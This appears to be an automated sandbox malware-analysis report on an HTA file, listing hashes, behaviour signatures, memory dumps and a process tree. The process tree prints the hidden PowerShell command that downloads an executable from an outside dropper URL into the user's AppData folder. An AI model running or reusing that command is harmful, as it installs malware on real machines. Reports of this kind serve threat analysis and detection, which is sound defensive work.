Resubmissions

21-02-2024 14:33

240221-rw8hmsha2y 10

21-02-2024 14:31

240221-rvtm4agh7w 10

21-02-2024 11:52

240221-n1xedseg6t 10

Analysis

  • max time kernel
    139s
  • max time network
    162s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-02-2024 14:33

General

  • Target

    myguy.hta

  • Size

    13KB

  • MD5

    0487382a4daf8eb9660f1c67e30f8b25

  • SHA1

    736752744122a0b5ee4b95ddad634dd225dc0f73

  • SHA256

    ee29b9c01318a1e23836b949942db14d4811246fdae2f41df9f0dcd922c63bc6

  • SHA512

    e1e7d81d54efd526139ea8ac792ed2035c8e70f040319c0b65f723431d31077c7a6927553890c99151f2354f51c4020ed94e0e2e5d56386c2fc4828e95869106

  • SSDEEP

    192:ScIsmNvaHz65bP/U/njs3NH0Z0UvDVE6Az6XVHBycT6iLMUpJ2seCYHlfeb:SPXTmnjs3BU9A27BNLMUTb

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://french-cooking.com/myguy.exe

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\myguy.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3944
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://french-cooking.com/myguy.exe', 'C:\Users\Admin\AppData\Roaming\48116.exe');
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3368
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3944 -s 1416
      2⤵
      • Program crash
      PID:3052
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3944 -ip 3944
    1⤵
      PID:1696

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iqfol4d0.ch4.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3368-6-0x0000000005810000-0x0000000005876000-memory.dmp

      Filesize

      408KB

    • memory/3368-12-0x0000000005880000-0x00000000058E6000-memory.dmp

      Filesize

      408KB

    • memory/3368-4-0x0000000002900000-0x0000000002910000-memory.dmp

      Filesize

      64KB

    • memory/3368-2-0x0000000002900000-0x0000000002910000-memory.dmp

      Filesize

      64KB

    • memory/3368-5-0x0000000005750000-0x0000000005772000-memory.dmp

      Filesize

      136KB

    • memory/3368-0-0x0000000004940000-0x0000000004976000-memory.dmp

      Filesize

      216KB

    • memory/3368-1-0x0000000070F80000-0x0000000071730000-memory.dmp

      Filesize

      7.7MB

    • memory/3368-3-0x0000000004FB0000-0x00000000055D8000-memory.dmp

      Filesize

      6.2MB

    • memory/3368-17-0x00000000059F0000-0x0000000005D44000-memory.dmp

      Filesize

      3.3MB

    • memory/3368-18-0x0000000005EE0000-0x0000000005EFE000-memory.dmp

      Filesize

      120KB

    • memory/3368-19-0x0000000006480000-0x00000000064CC000-memory.dmp

      Filesize

      304KB

    • memory/3368-20-0x0000000007530000-0x0000000007BAA000-memory.dmp

      Filesize

      6.5MB

    • memory/3368-21-0x0000000006390000-0x00000000063AA000-memory.dmp

      Filesize

      104KB

    • memory/3368-24-0x0000000070F80000-0x0000000071730000-memory.dmp

      Filesize

      7.7MB